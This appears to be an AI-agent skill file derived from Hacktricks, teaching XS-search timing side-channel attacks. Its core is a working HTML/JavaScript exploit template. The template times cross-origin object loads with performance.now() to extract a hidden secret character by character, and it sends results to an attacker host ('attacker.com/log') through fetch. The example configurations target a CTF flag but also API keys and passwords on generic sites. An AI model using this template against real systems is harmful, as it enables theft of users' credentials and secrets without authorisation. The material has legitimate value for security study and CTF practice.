Hacktricks-skills xss-timing-attack
How to perform timing-based XSS side-channel attacks using performance.now() to extract hidden data character-by-character. Use this skill whenever the user mentions XSS vulnerabilities, timing attacks, side-channel extraction, timing-based data leaks, or wants to extract secrets through response time differences. Also trigger when users discuss measuring response times in web applications, extracting hidden strings through timing, or exploiting timing variations in XSS contexts.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/performance.now-+-force-heavy-task/SKILL.MDXSS Timing Side-Channel Attack
This skill teaches you how to perform timing-based side-channel attacks through XSS vulnerabilities. When a server processes different inputs with different response times (e.g., checking if a flag is contained in a string), you can exploit this timing difference to extract hidden data character-by-character.
How It Works
- The Vulnerability: The target application processes requests differently based on whether certain strings are present (e.g., if a flag is in the response, it takes longer to process)
- The Attack: Send requests with different characters and measure response times using
performance.now() - The Extraction: Characters that cause longer response times indicate a match, allowing you to extract the hidden string one character at a time
Prerequisites
- XSS vulnerability in the target application
- The application must exhibit timing differences based on input content
- Ability to inject JavaScript into the victim's browser
Exploit Template
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>XSS Timing Attack</title> </head> <body> <script> // Configuration - customize these for your target const TARGET_URL = "http://target.com/search/?search=CHAR&msg=PAYLOAD"; const CALLBACK_URL = "http://attacker.com/log?data="; const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"; const KNOWN_PREFIX = "flag{"; const ITERATIONS = 3; // Number of measurements per character const PAYLOAD_SIZE = 1000000; // Size of payload to force heavy processing // Send data to attacker server function sendLog(data) { fetch(CALLBACK_URL + encodeURIComponent(data)).catch(() => {}); console.log(data); } // Measure time to load a request with given character async function measureTime(char) { return new Promise((resolve) => { const randomString = "just_random_string"; const payload = randomString[Math.floor(Math.random() * randomString.length)].repeat(PAYLOAD_SIZE); const url = TARGET_URL.replace("CHAR", char).replace("PAYLOAD", payload); const start = performance.now(); const object = document.createElement("object"); object.width = "2000px"; object.height = "2000px"; object.data = url; object.onload = () => { object.remove(); const end = performance.now(); resolve(end - start); }; object.onerror = () => { object.remove(); resolve(0); }; document.body.appendChild(object); }); } // Main attack function async function extractSecret() { sendLog("Starting timing attack..."); // Warmup - run a few measurements to stabilize for (let i = 0; i < 3; i++) { await measureTime(".."); } // Measure baseline times let foundTime = 0; let notFoundTime = 0; for (let i = 0; i < ITERATIONS; i++) { foundTime += await measureTime(KNOWN_PREFIX); } for (let i = 0; i < ITERATIONS; i++) { notFoundTime += await measureTime("NOT_FOUND123"); } foundTime /= ITERATIONS; notFoundTime /= ITERATIONS; sendLog(`Found baseline: ${foundTime.toFixed(2)}ms`); sendLog(`Not found baseline: ${notFoundTime.toFixed(2)}ms`); // Calculate threshold const threshold = foundTime - (foundTime - notFoundTime) / 2; sendLog(`Threshold: ${threshold.toFixed(2)}ms`); if (notFoundTime > foundTime) { sendLog("Error: Not found is slower than found - timing may be inverted"); return; } // Extract character by character let secret = KNOWN_PREFIX; while (true) { if (secret[secret.length - 1] === "}") { break; } let foundChar = false; for (const char of CHARSET) { const trying = secret + char; let totalTime = 0; for (let i = 0; i < ITERATIONS; i++) { totalTime += await measureTime(trying); } const avgTime = totalTime / ITERATIONS; sendLog(`Trying: ${trying}, Time: ${avgTime.toFixed(2)}ms`); if (avgTime >= threshold) { secret += char; sendLog(`Found character! Current secret: ${secret}`); foundChar = true; break; } } if (!foundChar) { sendLog("No character found - may have reached end or threshold is wrong"); break; } } sendLog(`Final secret: ${secret}`); } // Start the attack extractSecret(); </script> </body> </html>
Key Configuration Options
| Parameter | Description | Typical Value |
|---|---|---|
| The vulnerable endpoint with placeholders for character and payload | Varies by target |
| Your server to receive exfiltrated data | Your controlled server |
| Characters to try when extracting the secret | Adjust based on expected format |
| Known starting characters of the secret | e.g., "flag{", "CTF{", "secret_" |
| Measurements per character for accuracy | 3-5 for noisy environments |
| Size of payload to force processing time | 100000-1000000 |
Important Notes
Object Size Matters
The
<object> element's width and height must be set to large values (e.g., 2000px). The default size is too small to create measurable timing differences.
Threshold Calculation
The threshold is calculated as the midpoint between "found" and "not found" baseline times. This helps distinguish between matches and non-matches.
Error Handling
- If "not found" is slower than "found", the timing may be inverted - check your understanding of the vulnerability
- Network noise can affect measurements - use more iterations in unstable environments
- Some browsers may optimize away timing differences - test thoroughly
Example Usage
Scenario 1: CTF Challenge with Flag in Response
const TARGET_URL = "http://baby-xsleak-ams3.web.jctf.pro/search/?search=CHAR&msg=PAYLOAD"; const KNOWN_PREFIX = "justCTF{"; const CHARSET = "abcdefghijklmnopqrstuvwxyz_}";
Scenario 2: API Key Extraction
const TARGET_URL = "https://api.target.com/validate?key=CHAR&data=PAYLOAD"; const KNOWN_PREFIX = "sk_"; const CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789_";
Scenario 3: Password Hash Timing
const TARGET_URL = "https://target.com/login?user=admin&pass=CHAR&extra=PAYLOAD"; const KNOWN_PREFIX = ""; const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%";
Testing the Exploit
- Verify the timing difference exists: Run the baseline measurements and confirm that "found" and "not found" have measurably different times
- Adjust threshold if needed: If the attack isn't working, try adjusting the threshold calculation
- Increase iterations: In noisy network conditions, increase
to 5 or moreITERATIONS - Check object size: Ensure width/height are set to at least 2000px
Limitations
- Requires JavaScript execution in the victim's browser
- Network latency can interfere with measurements
- Browser optimizations may reduce timing differences
- Only works when the server exhibits timing differences based on input content
- May be slow for long secrets (one character per measurement)
Related Techniques
- Cache-timing attacks: Similar concept but using cache access times
- Spectre/Meltdown: CPU-level timing side-channels
- DNS exfiltration: Alternative data exfiltration method when timing isn't available
- Image-based exfiltration: Using image requests to leak data